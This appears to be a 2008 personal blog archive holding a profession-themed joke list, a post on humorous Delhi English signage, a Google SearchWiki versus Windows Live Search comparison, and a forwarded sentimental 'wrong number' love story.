Animal-Rights Activist:
If you love someone, Set her free, In fact, all living creatures deserve to be free!!
Lawyers:
If you love someone, Set her free, Clause 1a of Paragraph 13a-1 in the Second Amendment of the Matrimonial Freedom
Biologist :
If you love someone, Set her free, She'll evolve.
Statisticians :
If you love someone, Set her free, If she loves you, the probability of her coming back is high If she doesn't, your relation was improbable anyway.
Schwarzenegger' s fans:
If you love someone, Set her free, SHE'LL BE BACK!
Over possessive person : If you love someone don't set her free.
MBA :
If you love someone set her free instantaneously and look for others simultaneously
Psychologist :
If you love someone set her free If she comes back her super ego is dominant If she doesn't come back her id is supreme If she doesn't go, she must be crazy.
Somnabulist :
If you love someone set her free If she comes back it's a nightmare If she doesn't, you must be dreaming.
ERP functional expert :
If you love someone set her free If she comes back, map her into your system If she doesn't, carry out a gap-fit analysis
Finance expert :
If you love someone set her free If she comes back, its time to look for fresh loans If she doesn't, write her off as an asset gone bad.
Marketing Specialist :
If you love someone set her free If she comes back she has brand loyalty If she doesn't, reposition the brand in new market

Dilli ki english is a very funny language...

2008-12-08T03:25:00.000-08:00

Delhi is a nice place. People are good, parties are good but parlance is the best. You'll get to know what I mean, just have a glance down below... Amidst the grueling headlines of atrocities of 26/11 and the fake phone calls to Zardari, heres what I discovered in a daily tabloid.
Dilli ki english is fun to read, and bags of laughter when inadvertently the double meaning is discovered...
Fast Service: A Jor Bagh store window is attentive towards the need of "Hurry People"

A restourant near Janpath (I wud love to have some food here, and compliment the wonder advertisment :) )

Lodhi garden's 'Vilators' might be in for some treat

The fairy tale wish foretold on a scooter stepney

Lost in translation

Indecent Proposal: Stuck on a CP subway, the tag is silent on 'piercing' which 'all other parts' of the body...

Google search just got better, but Windows Live Search is cool

2008-12-07T10:00:00.000-08:00

We all are hardtime Googlers and needless to say, Google has made us thankful in more than one ways. We can pick our favourite stuff from the internet anytime, given that Google.com is not banned by our ISP, and thankfully we (at least I) live on the leeward side of Himalayas... We just need to type in there(the contemporary search box that hasn't change a pixel in a decade) and boom u have got the best matching result right there in front of you (and if the time taken for search is >1second, you can book your search item in GWR, and hopefully you'll get a Guinness trophy). Mostly this really is the right link, that we have been wondering(read wandering) for. But at times, we might beg to differ and expect(suspect!) that some other result(that may be somewhere down below) to be the most appropriate one. Well Google guys just read our minds(Thanks to Microwave Mind-Programming conspiracy theory) and launched the most awaited "SearchWiki". So finally we have democracy in the virtual world as well, where we can "vote" for the congruency of a result. We can now ↑grade a result if we feel so, just at a click of a button, and also ↓grade it from the unexpected prominence... This new feature will make sure that Google's page ranking bot learns indiscriminately from us, and we can let our voices(clicks) heard. We can now proudly claim 'our votes count' even in Google!

On the other Hand, Windows Live Search is making huge reverberations already. Their search engine is very powerful and the best part it, u get lots of features yet the interface dares to be the simplest of them ‘ol! The options are so clearly highlighted and the accessing is so easy, its hard to get fiddled.

I'd share a personal experience, where I tried searching for “Indian Paintings” on both engines. The results:
Google-

LiveSearch-

I like the majestic way the search is performed via LiveSearch. The results were truly impeccable, and I am thrilled to announce that I have got 2 virtual buddies now, if one fails, I have the other ready.

In a nutshell, both the engines rock, but I find LiveSearch better for image searches. If google uses AJAX, LiveSearch uses Silverlight!

In this decade of serious competitions and niche technology war keep your fingers crossed, because what you assumed to be the best might probably be just a protocol for the future cyberspace.

PS: You can try hands on some other search engines as well: www.yahoo.com, www.cuil.com, www.howstuffworks.com, www.askjeeves.com, www.delicious.com,www.digg.com

The Wrong number

2008-12-06T08:06:00.000-08:00

I discovered this beautiful piece of story as someone mailed it to me. It happens sometime that you feel that the world is not meant for u or u are not meant for the world... It was a similar time when I read this mail and realised I was wrong.

It was the day of my son's XII results and I was so tensed. I sat beside him while he logged on the website with his registration no. " Ma" , he screamed in excitement," I scored 1191, with centum in 4 subjects. I cant believe it. "

I kinda became numb in my excitement. My eyes became wet. I kissed him on his forehead and smiled .

Soon we realized that he stood first in the state. Oh, my joy knew no bounds when Reporters and media persons soon swamped my house for interviews and photos. I was so honored to join him in the snaps.

I wanted to call my "wrong-number-friend to tell him the news......I was so excited. He was someone whom I have known for more than 20 years.

I still do not remember when we became friends, but certainly cannot forget the first day he called me when I blasted him for giving me so many wrong calls.....after that he had called up a week later asking apology, for he had now got the right no of his friend whom he wanted to talk to .We spoke for an hour that day...even without knowing each other's names.Though he kept pestering me to reveal my name I never did and so he kept a name...Sweety. I used to get so shy whenever he called me 'Sweety'. I was doing first year of BSc. Maths then, and he was a Computer Engineering student.

From then he used to call me very often . We almost discussed everything ..
By the final year of my college, we probably we were in love, but I had been cautious. I was in a dilemma whether to tell him. But what if he was of a different religion? Do I have the courage to talk to my parents about it?

........all these questions ran through my mind.
I decided I'll not talk to him thereafter. When he called next time I lied to him I that I was going to Delhi for my post graduation. He gave me his office number and asked me to ring him up once I reach there.

I never called .......

A couple of months later my marriage got fixed with a guy of my parent's choice. I was not happy but I did not complain; rather accepted it as an obedient daughter. At times I felt I missed my wrong- number- friend.......

My hubby was a moody person; I have hardly spent any good time with him- but he was genuine indeed and never bothered my personal space. After 2 years we had a boy...Yet,I was not very happy with my married life...One day I happened to browse through my diary and found I still had my old friend's office phone no that he had given me. I dialed it and spoke with him. He said he was married and got a kid too. I was happy for him though in the bottom of the heart I felt bad that I could not marry him.

From then I used to occasionally call him on that number. I never gave him mine as I felt that would put me in trouble...

And till today I almost shared everything with him including my relationship with my hubby.....today I was so happy and I wanted to call him.
Just then I got a call.

"Your husband met with an accident and died on the spot"

I banged the phone down. I broke. I did not call my friend.....I somehow started feeling guilty. I have never tried to talk to him properly when he was alive or moved close with him....

I felt I had been a bad wife........

A couple of years passed and one day my son brought home a Bengali girl and said they wanted to get married. I got them married as I did not want my son to go through what I did.

I decided to give my son his father's room and started clearing it. There was a phone book. I gently opened it to find, " Wrong no Sweety -26538887"

God always puts the right numbers together. Its we who interpret it wrong!!!